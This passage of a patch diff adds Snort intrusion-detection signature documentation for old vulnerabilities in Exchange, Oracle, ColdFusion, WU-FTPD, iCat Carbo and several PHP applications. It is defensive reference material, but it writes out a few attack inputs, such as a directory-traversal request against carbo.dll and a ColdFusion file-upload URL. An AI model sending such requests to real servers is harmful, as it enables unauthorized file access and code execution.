+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck97.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2254.txt
+++ snort-2.8.5.2/doc/signatures/2254.txt
@@ -0,0 +1,75 @@
+Rule:  
+
+--
+Sid:
+2254
+
+--
+Summary:
+This rule has been deleted in favor of sid 2253.
+
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Exchange Server.
+
+--
+Impact:
+Serious. Possible execution of arbitrary code and Denial of Service
+(DoS).
+
+--
+Detailed Information:
+A vulnerability exists in versions of Microsoft Exchange Server such
+that it is possible for an attacker to execute arbitrary code or cause a
+DoS condition on the server without the need for prior authentication as
+a valid user.
+
+It is possible for an attacker to connect to the Exchange server on port
+25 and send an extended verb request to the server that will cause a
+large amount of memory to be allocated. In Exchange Server 5.5 this may
+cause a DoS, whilst in Exchange Server 2000 this same condition could
+present the attacker with an opportunity to execute arbitrary code.
+
+--
+Affected Systems:
+	MIcrosoft Exchange Server 5.5
+	Microsoft Exchange Server 2000
+
+--
+Attack Scenarios:
+The attacker can connect to port 25 of the server and send a specially
+crafted verb request.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Microsoft Corp.
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03-046.asp
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0714
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2979.txt
+++ snort-2.8.5.2/doc/signatures/2979.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2979
+
+--
+Summary:
+This event is generated when an attempt is made to access the C$ default
+administrative share of a Windows host.
+
+--
+Impact:
+Serious. Possible administrator access to the host. Information 
+disclosure.
+
+--
+Detailed Information:
+By default, Windows hosts have default administrative shares of the 
+local hard drives using the format %DRIVE_LETTER% + $. Anybody with 
+administrative rights can remotely access the share.
+
+--
+Affected Systems:
+	Windows hosts.
+
+--
+Attack Scenarios:
+An attacker may be attempting to access files located on the C drive of 
+the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Netbios access from external networks (tcp port 139).
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS339
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=kb;en-us;100517
+
+--
--- snort-2.8.5.2.orig/doc/signatures/907.txt
+++ snort-2.8.5.2/doc/signatures/907.txt
@@ -0,0 +1,79 @@
+Rule:
+
+--
+Sid:
+907
+
+--
+Summary:
+This event is generated when an attempt is made to access an Example 
+application on a Coldfusion 4.x server. The 'Web Publish Example Script'
+can be exploited to allow the attacker to upload an arbitrary file to 
+the server.
+
+--
+Impact:
+Serious. The vulnerability allows custom code to be uploaded to the 
+server.
+
+--
+Detailed Information:
+ColdFusion (Macromedia, formerly Allaire) web servers have several
+default Example applications installed that have vulnerabilities.  The
+'Web Publish Example script' application can be exploited to allow the
+uploading of arbitrary files.
+
+See Macromedia Security Bulletin (MPSB01-08) for complete information.
+
+--
+Affected Systems:
+	ColdFusion versions 2.x, 3.x, 4.x for Windows
+	ColdFusion versions 4.x for Solaris, HP-UX
+	ColdFusion versions 4.5.x for Linux
+	Expression Evaluator Patch (ASB99-01)
+
+--
+Attack Scenarios:
+The web application allows file uploading via a URL like this:
+
+http://www.target.com/CFDOCS/exampleapps/publish/admin/addcontent.cfm
+
+Once the file has been uploaded, it can be executed by crafting a 2nd
+URL to the uploaded file.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+If ColdFusion 4.x's example code is being used, This rule will generate 
+an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Delete all example code.  This is one of several significant
+vulnerabilities that are exploitable if the example code is left on a
+production server.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Darryl Davidson <ddavidson@talisman-intl.com>
+
+-- 
+Additional References:
+
+Macromedia Security Bulletin (MPSB01-08)
+http://www.macromedia.com/devnet/security/security_zone/mpsb01-08.html
+
+CAN-2001-0535
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0535
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1320.txt
+++ snort-2.8.5.2/doc/signatures/1320.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1320
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "fuck movies".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "fuck movies".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website.  This rule could also be triggered by visiting the website of somebody who really really doesn't like movies.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1813.txt
+++ snort-2.8.5.2/doc/signatures/1813.txt
@@ -0,0 +1,52 @@
+Rule:
+
+--
+Sid:
+1813
+
+--
+Summary:
+This event is generated when an ICMP request is made to gain information on available bandwidth.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+An ICMP request is used to elicit information on the bandwidth available on a connection. Digital Island is a company that specializes in content delivery systems.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine the bandwidth available to the host.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP requests.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1001.txt
+++ snort-2.8.5.2/doc/signatures/1001.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+1001
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability on an iCat Carbo Server.
+
+--
+Impact:
+Serious. Information disclosure.
+
+--
+Detailed Information:
+The iCat Carbo server, which is part of the Electronic Commerce Suite, 
+does not properly check HTTP requests and will give access to any file 
+object residing on the system when it receives a request such as 
+http://target/carbo.dll?icatcommand=..\..\directory/filename.ext&catalogname=catalog
+
+--
+Affected Systems:
+	iCat Electronica Commerce Suite 3.0 
+
+--
+Attack Scenarios:
+An attacker can view any file on the server, including sensitive 
+password files. The information disclosed can then be used to facilitate
+further attacks on the system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives: 
+None known.
+
+--
+False Negatives: 
+None known.
+
+--
+Corrective Action: 
+None known.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com> 
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/2126
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-1069
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2701.txt
+++ snort-2.8.5.2/doc/signatures/2701.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+2701
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+--
+Affected Systems:
+	Oracle iSQLPlus
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/645.txt
+++ snort-2.8.5.2/doc/signatures/645.txt
@@ -0,0 +1,62 @@
+Rule: 
+
+--
+Sid: 645
+
+--
+Summary: 
+This event is generated when a buffer overflow attack is attempted against a target machine.
+
+--
+Impact: 
+Serious. The attacker may be able to gain remote access to the system or have the ability to execute arbitrary code with the privileges of a system user.
+
+
+-- 
+Detailed Information: 
+This rule tracks the bit combination which may occur in network packets aimed at overflowing Sparc Solaris/SunOS network services. The buffer overflow attack attempts to force the vulnerable application to execute  attacker-controlled code in order to gain interactive access or run arbitrary commands on the vulnerable system.
+
+A specific string used during the overflow is application-dependent however, a platform-specific command or code may be present and is detected by this rule.
+
+--
+Attack Scenarios: 
+An attacker launches an overflow exploit against a vulnerable FTP server and gains the ability to start a shell session, thus obtaining interactive access to the target.
+
+--
+Ease of Attack: 
+Simple
+
+
+--
+False Positives: 
+This event may be generated by legitimate traffic to the specified port.
+
+
+-- 
+False Negatives: 
+This event is specific to the shell code defined in the rule.
+Other shell code sequences may not be detected.
+
+--
+Corrective Action: 
+Check the target host for other signs of compromise.
+
+Look for other events concerning the target host.
+
+Apply vendor supplied patches and keep the operating system up to date.
+
+--
+Contributors: 
+Original Rule Writer Unkown
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS353
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000421.txt
+++ snort-2.8.5.2/doc/signatures/100000421.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000421
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Igloo" application running on a webserver. Access to the file "wiki.php" using a remote file being passed as the "c_node[class_path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "c_node[class_path]" parameter in the "wiki.php" script used by the "Igloo" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Igloo
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000152.txt
+++ snort-2.8.5.2/doc/signatures/100000152.txt
@@ -0,0 +1,63 @@
+Rule: 
+
+--
+Sid: 
+100000152
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a
+buffer overflow associated with MDaemon IMAP authentication
+processing.
+
+--
+Impact:
+A successful attack can permit a buffer overflow and the
+subsequent execution of arbitrary code on a vulnerable
+server.
+
+--
+Detailed Information:
+The MDaemon IMAP server allows basic authentication to be
+exchanged between the client and server.  A vulnerability
+exists allowing an unauthenticated user to cause a buffer
+overflow by crafting an overly long authentication reply
+to a server challenge.  This can allow execution of arbitrary
+code on a vulnerable server.
+
+--
+Affected Systems:
+Alt-N MDaemon prior to 8.0.4
+
+--
+Attack Scenarios:
+An attacker can request IMAP authentication and reply to
+a server challenge with an overly long response, causing
+a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the most current non-affected version of the product.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+Other:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2863.txt
+++ snort-2.8.5.2/doc/signatures/2863.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2863
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_priority_nvarchar2
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1294.txt
+++ snort-2.8.5.2/doc/signatures/1294.txt
@@ -0,0 +1,66 @@
+Rule: 
+
+--
+Sid:
+1294
+
+--
+Summary: 
+This event is generated when traffic indicating Nimda worm activity is
+detected.
+
+--
+Impact:
+Possible infection by the Nimda virus.
+
+--
+Detailed Information:
+Nimda spreads by file infection, mass emailer, file share, or IIS unicode exploit 
+to attack unpatched systems.
+
+--
+Affected Systems:
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows 2000
+
+--
+Attack Scenarios:
+An unpatched server is connected to the internet and is infected or
+an infected email is opened. Once infected the worm spreads itself.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Check the suspect host for signs of infection. Apply patches 
+or upgrade the operating system
+
+--
+Contributors:
+Snort documentation contributed by Timothy Vienneau
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/topics/virus/nimda.asp
+
+F-Secure:
+http://www.f-secure.com/v-descs/nimda.shtml
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2075.txt
+++ snort-2.8.5.2/doc/signatures/2075.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2075
+
+--
+Summary:
+using the upload.php script.
+
+--
+Impact:
+Unauthorized upload of files to a server.
+
+--
+Detailed Information:
+Arbitrary files can be uploaded to a server running vulnerable versions 
+of Mambo Site Server due to laxe checking in the scripts controlling 
+uploading of files.
+
+The scripts perform checks for certain file extensions but do not 
+prevent the upload of files with image extensions.
+
+--
+Affected Systems:
+	Mambo Mambo Site Server 4.0.10, 4.0.11 and 4.0.12 BETA
+
+--
+Attack Scenarios:
+The attacker can upload malicious scripts and executable files by 
+appending a valid extension used for an image file.
+
+The attacker can also use the server to store files of his choosing.
+
+--
+Ease of Attack:
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest version of Mambo Site Server.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/6572
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000805.txt
+++ snort-2.8.5.2/doc/signatures/100000805.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000805
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "BosClassifieds" application running on a webserver. Access to the file "classified.php" using a remote file being passed as the "insPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "insPath" parameter in the "classified.php" script used by the "BosClassifieds" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using BosClassifieds
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2733.txt
+++ snort-2.8.5.2/doc/signatures/2733.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2733
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_master_propagation
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000626.txt
+++ snort-2.8.5.2/doc/signatures/100000626.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000626
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "message_edit.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"message_edit.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000444.txt
+++ snort-2.8.5.2/doc/signatures/100000444.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000444
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "MiraksGalerie" application running on a webserver. Access to the file "galsecurity.lib.php" using a remote file being passed as the "listconfigfile[0]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "listconfigfile[0]" parameter in the "galsecurity.lib.php" script used by the "MiraksGalerie" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using MiraksGalerie
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1377.txt
+++ snort-2.8.5.2/doc/signatures/1377.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+1377
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a file
+globbing vulnerability associated with WU-FTPD.
+
+--
+Impact:
+Serious. Remote root access. A successful attack can allow remote
+execution of commands with privileges of WU-FTPD, most often root.
+
+--
+Detailed Information:
+An exploit in Washington University FTP daemon (WU-FTPD) code associated
+with file globbing can allow execution of arbitrary code with the
+privileges of WU-FTPD, typically root. WU-FTPD invokes the glob function
+when certain characters are used in a file name argument supplied by an
+FTP client. The glob function fails to properly handle illegal strings
+such as "~{" and "~[". The problem is compounded when the glob function
+returns an error condition that is incorrectly handled, which may lead
+to the corruption of process memory space. This exploit requires login
+access to a vulnerable server either via an anonymous or established
+user account.
+
+--
+Affected Systems:
+	WU-FTPD 2.6.1, 2.6.0, and 2.5.0.
+
+--
+Attack Scenarios:
+An attacker may login to a vulnerable WU-FTP server and enter a
+malformed file argument to gain access and execute arbitrary commands.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+Apply the appropriate vendor supplied patch.
+
+Do not enable anonymous FTP access unless required.  
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.kb.cert.org/vuls/id/886083
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2913.txt
+++ snort-2.8.5.2/doc/signatures/2913.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2913
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure repcat_import_check
+. This procedure is included in
+sys.dbms_repcat_sna.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2635.txt
+++ snort-2.8.5.2/doc/signatures/2635.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+2635
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in many
+useful tasks.  The "offline_snapshot.begin_load" procedure is used for
+offline instantiation of snapshots.  This procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "gname" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck632.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1617.txt
+++ snort-2.8.5.2/doc/signatures/1617.txt
@@ -0,0 +1,69 @@
